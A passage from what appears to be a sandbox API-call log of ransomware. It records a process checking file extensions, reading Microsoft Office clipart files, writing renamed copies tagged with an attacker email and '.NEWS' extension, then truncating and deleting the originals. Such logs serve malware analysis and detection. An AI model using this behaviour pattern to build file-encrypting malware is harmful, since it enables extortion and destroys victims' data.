(lpString1=".bz2", lpString2=".rll") returned -1 [0229.882] lstrlenW (lpString=".7z") returned 3 [0229.882] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0229.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0229.882] lstrlenW (lpString=".dbf") returned 4 [0229.882] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0229.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0229.882] lstrlenW (lpString=".1cd") returned 4 [0229.882] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0229.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0229.882] lstrlenW (lpString=".jpg") returned 4 [0229.882] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0229.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0229.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0229.883] lstrlenW (lpString=".doc") returned 4 [0229.883] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0229.883] lstrlenW (lpString=".docx") returned 5 [0229.883] lstrcmpiW (lpString1=".docx", lpString2="v.rll") returned -1 [0229.883] lstrlenW (lpString=".pdf") returned 4 [0229.883] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0229.883] lstrlenW (lpString=".xls") returned 4 [0229.883] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0229.883] lstrlenW (lpString=".xlsx") returned 5 [0229.883] lstrcmpiW (lpString1=".xlsx", lpString2="v.rll") returned -1 [0229.883] lstrlenW (lpString=".ppt") returned 4 [0229.884] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0229.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0229.884] lstrlenW (lpString=".zip") returned 4 [0229.884] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0229.884] lstrlenW (lpString=".rar") returned 4 [0229.884] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0229.884] lstrlenW (lpString=".bz2") returned 4 [0229.884] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0229.884] lstrlenW (lpString=".7z") returned 3 [0229.884] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0229.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0229.884] lstrlenW (lpString=".dbf") returned 4 [0229.884] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0229.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0229.885] lstrlenW (lpString=".1cd") returned 4 [0229.885] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0229.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0229.885] lstrlenW (lpString=".jpg") returned 4 [0229.885] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0229.885] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0229.885] lstrlenW (lpString="CMNTY_01.MID") returned 12 [0229.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0229.924] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=6970) returned 1 [0229.925] CloseHandle (hObject=0x3b4) returned 1 [0229.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x20 [0229.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0229.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0229.926] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0229.926] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0229.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0229.930] GetLastError () returned 0x0 [0229.930] ReadFile (in: hFile=0x3b4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x1b3a, lpOverlapped=0x0) returned 1 [0229.949] WriteFile (in: hFile=0x3b8, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0x1b40, lpOverlapped=0x0) returned 1 [0229.953] ReadFile (in: hFile=0x3b4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x0, lpOverlapped=0x0) returned 1 [0229.953] WriteFile (in: hFile=0x3b8, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xec, lpOverlapped=0x0) returned 1 [0229.953] SetEndOfFile (hFile=0x3b8) returned 1 [0229.954] CloseHandle (hObject=0x3b8) returned 1 [0229.954] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0229.954] SetEndOfFile (hFile=0x3b4) returned 1 [0229.962] CloseHandle (hObject=0x3b4) returned 1 [0229.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0229.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid")) returned 1 [0229.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0229.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0229.966] lstrlenW (lpString=".doc") returned 4 [0229.966] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0229.966] lstrlenW (lpString=".docx") returned 5 [0229.966] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0229.966] lstrlenW (lpString=".pdf") returned 4 [0229.966] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0229.966] lstrlenW (lpString=".xls") returned 4 [0229.966] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0229.966] lstrlenW (lpString=".xlsx") returned 5 [0229.966] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0229.966] lstrlenW (lpString=".ppt") returned 4 [0229.967] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0229.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0229.967] lstrlenW (lpString=".zip") returned 4 [0229.967] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0229.967] lstrlenW (lpString=".rar") returned 4 [0229.967] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0229.967] lstrlenW (lpString=".bz2") returned 4 [0229.967] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0229.967] lstrlenW (lpString=".7z") returned 3 [0229.967] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0229.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0230.257] lstrlenW (lpString=".dbf") returned 4 [0230.257] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0230.257] lstrlenW (lpString=".1cd") returned 4 [0230.257] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0230.257] lstrlenW (lpString=".jpg") returned 4 [0230.257] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0230.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0230.258] lstrlenW (lpString=".doc") returned 4 [0230.258] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.258] lstrlenW (lpString=".docx") returned 5 [0230.258] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.258] lstrlenW (lpString=".pdf") returned 4 [0230.258] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.258] lstrlenW (lpString=".xls") returned 4 [0230.258] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.258] lstrlenW (lpString=".xlsx") returned 5 [0230.259] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.259] lstrlenW (lpString=".ppt") returned 4 [0230.259] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0230.259] lstrlenW (lpString=".zip") returned 4 [0230.259] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.259] lstrlenW (lpString=".rar") returned 4 [0230.259] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.259] lstrlenW (lpString=".bz2") returned 4 [0230.259] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.259] lstrlenW (lpString=".7z") returned 3 [0230.259] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0230.259] lstrlenW (lpString=".dbf") returned 4 [0230.259] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0230.259] lstrlenW (lpString=".1cd") returned 4 [0230.260] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0230.260] lstrlenW (lpString=".jpg") returned 4 [0230.260] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.261] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0230.261] lstrlenW (lpString="EAST_01.MID") returned 11 [0230.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0230.561] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=6165) returned 1 [0230.561] CloseHandle (hObject=0x1c0) returned 1 [0230.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid")) returned 0x20 [0230.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0230.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0230.689] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.690] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0230.734] GetLastError () returned 0x0 [0230.734] ReadFile (in: hFile=0x1c0, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x1815, lpOverlapped=0x0) returned 1 [0230.765] WriteFile (in: hFile=0x390, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0x1820, lpOverlapped=0x0) returned 1 [0230.769] ReadFile (in: hFile=0x1c0, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x0, lpOverlapped=0x0) returned 1 [0230.770] WriteFile (in: hFile=0x390, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xea, lpOverlapped=0x0) returned 1 [0230.770] SetEndOfFile (hFile=0x390) returned 1 [0230.789] CloseHandle (hObject=0x390) returned 1 [0230.789] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.789] SetEndOfFile (hFile=0x1c0) returned 1 [0230.814] CloseHandle (hObject=0x1c0) returned 1 [0230.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0230.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid")) returned 1 [0230.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0230.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0230.829] lstrlenW (lpString=".doc") returned 4 [0230.829] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.829] lstrlenW (lpString=".docx") returned 5 [0230.829] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.829] lstrlenW (lpString=".pdf") returned 4 [0230.830] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.830] lstrlenW (lpString=".xls") returned 4 [0230.830] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.830] lstrlenW (lpString=".xlsx") returned 5 [0230.830] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.830] lstrlenW (lpString=".ppt") returned 4 [0230.830] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0230.830] lstrlenW (lpString=".zip") returned 4 [0230.830] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.830] lstrlenW (lpString=".rar") returned 4 [0230.830] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.830] lstrlenW (lpString=".bz2") returned 4 [0230.831] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.831] lstrlenW (lpString=".7z") returned 3 [0230.831] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0230.831] lstrlenW (lpString=".dbf") returned 4 [0230.831] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0230.831] lstrlenW (lpString=".1cd") returned 4 [0230.831] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0230.831] lstrlenW (lpString=".jpg") returned 4 [0230.831] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0230.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0230.832] lstrlenW (lpString=".doc") returned 4 [0230.832] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.832] lstrlenW (lpString=".docx") returned 5 [0230.832] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.832] lstrlenW (lpString=".pdf") returned 4 [0230.832] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.832] lstrlenW (lpString=".xls") returned 4 [0230.832] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.832] lstrlenW (lpString=".xlsx") returned 5 [0230.832] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.832] lstrlenW (lpString=".ppt") returned 4 [0230.832] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0230.833] lstrlenW (lpString=".zip") returned 4 [0230.833] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.833] lstrlenW (lpString=".rar") returned 4 [0230.833] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.833] lstrlenW (lpString=".bz2") returned 4 [0230.833] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.833] lstrlenW (lpString=".7z") returned 3 [0230.833] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0230.833] lstrlenW (lpString=".dbf") returned 4 [0230.833] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0230.834] lstrlenW (lpString=".1cd") returned 4 [0230.834] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0230.834] lstrlenW (lpString=".jpg") returned 4 [0230.834] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.834] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0230.835] lstrlenW (lpString="FINCL_01.MID") returned 12 [0230.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0230.842] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=12981) returned 1 [0230.842] CloseHandle (hObject=0x3b0) returned 1 [0230.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid")) returned 0x20 [0230.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0230.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0230.844] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.844] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0230.845] GetLastError () returned 0x0 [0230.845] ReadFile (in: hFile=0x3b0, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x32b5, lpOverlapped=0x0) returned 1 [0230.927] WriteFile (in: hFile=0x390, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0x32c0, lpOverlapped=0x0) returned 1 [0230.932] ReadFile (in: hFile=0x3b0, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x0, lpOverlapped=0x0) returned 1 [0230.932] WriteFile (in: hFile=0x390, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xec, lpOverlapped=0x0) returned 1 [0230.933] SetEndOfFile (hFile=0x390) returned 1 [0231.032] CloseHandle (hObject=0x390) returned 1 [0231.033] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.033] SetEndOfFile (hFile=0x3b0) returned 1 [0231.058] CloseHandle (hObject=0x3b0) returned 1 [0231.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0231.136] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid")) returned 1 [0231.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0231.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0231.139] lstrlenW (lpString=".doc") returned 4 [0231.139] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0231.139] lstrlenW (lpString=".docx") returned 5 [0231.139] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0231.139] lstrlenW (lpString=".pdf") returned 4 [0231.140] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0231.140] lstrlenW (lpString=".xls") returned 4 [0231.140] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0231.140] lstrlenW (lpString=".xlsx") returned 5 [0231.140] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0231.140] lstrlenW (lpString=".ppt") returned 4 [0231.140] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0231.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0231.140] lstrlenW (lpString=".zip") returned 4 [0231.140] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0231.140] lstrlenW (lpString=".rar") returned 4 [0231.140] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0231.140] lstrlenW (lpString=".bz2") returned 4 [0231.141] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0231.141] lstrlenW (lpString=".7z") returned 3 [0231.141] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0231.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0231.141] lstrlenW (lpString=".dbf") returned 4 [0231.141] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0231.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0231.141] lstrlenW (lpString=".1cd") returned 4 [0231.141] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0231.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 